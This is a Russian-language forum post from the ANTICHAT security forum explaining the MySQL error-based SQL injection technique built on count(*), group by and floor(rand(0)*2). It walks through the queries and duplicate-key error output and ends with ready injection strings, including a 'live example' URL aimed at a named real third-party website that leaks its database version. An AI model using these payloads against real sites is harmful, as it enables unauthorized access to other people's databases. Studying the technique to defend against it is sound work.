HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 04.01.2013, 19:00
Expl0ited
Guest
Сообщений: n/a
Провел на форуме:
262707

Репутация: 935
По умолчанию

Цитата:
Сообщение от GhostW  
GhostW said:
А где можно найти подробную инфу по Error-Based и как узнать что нужно использовать данный метод?
П.С. Спасибо за быстрый ответ на прошлый вопрос.
Если научится пользоваться поиском то найдем:

Цитата:
Сообщение от Expl0ited  
Expl0ited said:
Вся соль пошла отсюда: http://bugs.mysql.com/bug.php?id=32249
Где товарищ, Domas Mituzas, недоумевает, почему код
PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]mysql[/COLOR][COLOR="#007700"]>[/COLOR][COLOR="#0000BB"]select count[/COLOR][COLOR="#007700"](*),[/COLOR][COLOR="#0000BB"]floor[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]rand[/COLOR][COLOR="#007700"]()*[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]x from grouptest1 group by x[/COLOR][COLOR="#007700"];[/COLOR][/COLOR
возвращает, то верный результат, то тот же результат, но в обработчике ошибки:
Проблема в том что group by проверяет выражение несколько раз, а rand() в свою очередь возвращает каждый раз разные значение. Цитата из
мануала
:
Исходя из этого некто Qwazar (
пруф
) решил попробовать конкатацию строк, для получения запрошенных данных в обработчике ошибки:
PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]select count[/COLOR][COLOR="#007700"](*),[/COLOR][COLOR="#0000BB"]concat[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]version[/COLOR][COLOR="#007700"](),[/COLOR][COLOR="#0000BB"]floor[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]rand[/COLOR][COLOR="#007700"]()*[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]))[/COLOR][COLOR="#0000BB"]x from users group by x[/COLOR][COLOR="#007700"];[/COLOR][/COLOR
После нескольких попыток выполнить этот запрос, выводится:
#1062 - Duplicate entry '5.5.80' for key 'group_key'
или
#1062 - Duplicate entry '5.5.81' for key 'group_key'
Дальше для упрощения(укорочения) запроса, concat(version(),floor(rand()*2)) перенеслась в group by и мы получаем:
PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]select count[/COLOR][COLOR="#007700"](*)[/COLOR][COLOR="#0000BB"]from users group by[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]concat[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]version[/COLOR][COLOR="#007700"](),[/COLOR][COLOR="#0000BB"]floor[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]rand[/COLOR][COLOR="#007700"]()*[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"])));[/COLOR][/COLOR
Результат:
#1062 - Duplicate entry '5.5.80' for key 'group_key'
или
#1062 - Duplicate entry '5.5.81' for key 'group_key'
К конструкции floor(rand(0)*2)) пришли исключительно методом тыка (если я конечно не ошибаюсь). И в итоге получился вектор, для вывода информации в ошибке mysql:
PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]select count[/COLOR][COLOR="#007700"](*)[/COLOR][COLOR="#0000BB"]from users group by[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]concat[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]version[/COLOR][COLOR="#007700"](),[/COLOR][COLOR="#0000BB"]floor[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]rand[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])*[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"])));[/COLOR][/COLOR
Постоянный результат:
#1062 - Duplicate entry '5.5.81' for key 'group_key'
Для удобства можно избавится от лишнего символа 1 в конце результата, использованием 0x00 - нулевой байт
PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]select count[/COLOR][COLOR="#007700"](*)[/COLOR][COLOR="#0000BB"]from users group by[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]concat[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]version[/COLOR][COLOR="#007700"](),[/COLOR][COLOR="#0000BB"]0x00[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]floor[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]rand[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])*[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"])));[/COLOR][/COLOR
Ну и уже в виде инъекции в запросе это может выглядеть так:
Код:
Code:
bug.php?id=10+and+(select+count(*)+from+table+group+by(concat(version(),0x00,floor(rand(0)*2))))--+
PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]SELECT id[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]news FROM content WHERE id[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]10[/COLOR][COLOR="#007700"]and ([/COLOR][COLOR="#0000BB"]select count[/COLOR][COLOR="#007700"](*)[/COLOR][COLOR="#0000BB"]from table group by[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]concat[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]version[/COLOR][COLOR="#007700"](),[/COLOR][COLOR="#0000BB"]0x00[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]floor[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]rand[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])*[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]))))--[/COLOR][/COLOR
И при условии если существует таблица table, то в ответе будет:
#1062 - Duplicate entry '5.5.8' for key 'group_key'
Живой пример:
Код:
Code:
http://www.forakom.ru/tree/index.php?brand_id=739&model_id=5533&engine_id=1005635+and(select+count(*)+from+tcdViews.v_ext_engines+group+by(concat(version(),0x00,floor(rand(0)*2))))--+
Duplicate entry '5.0.67-log' for key 1
Теперь наглядно?
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ